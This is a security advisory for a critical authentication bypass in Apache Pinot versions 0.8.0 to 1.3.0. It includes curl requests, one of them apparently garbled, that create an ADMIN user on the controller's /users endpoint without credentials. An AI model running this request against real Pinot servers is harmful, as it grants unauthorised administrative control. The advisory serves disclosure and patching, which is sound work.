GHSA-6jwp-4wvj-6597CriticalCVSS 9.8

Apache Pinot Vulnerable to Authentication Bypass

Published
April 1, 2025
Last Modified
August 31, 2026

🔗 CVE IDs covered (1)

📋 Description

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {"username":"hack2","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"} http://{server_ip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {"users":{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

🎯 Affected products3

  • maven/org.apache.pinot:pinot-broker:>= 0.8.0, < 1.3.0
  • maven/org.apache.pinot:pinot-common:>= 0.8.0, < 1.3.0
  • maven/org.apache.pinot:pinot-controller:>= 0.8.0, < 1.3.0

🔗 References (8)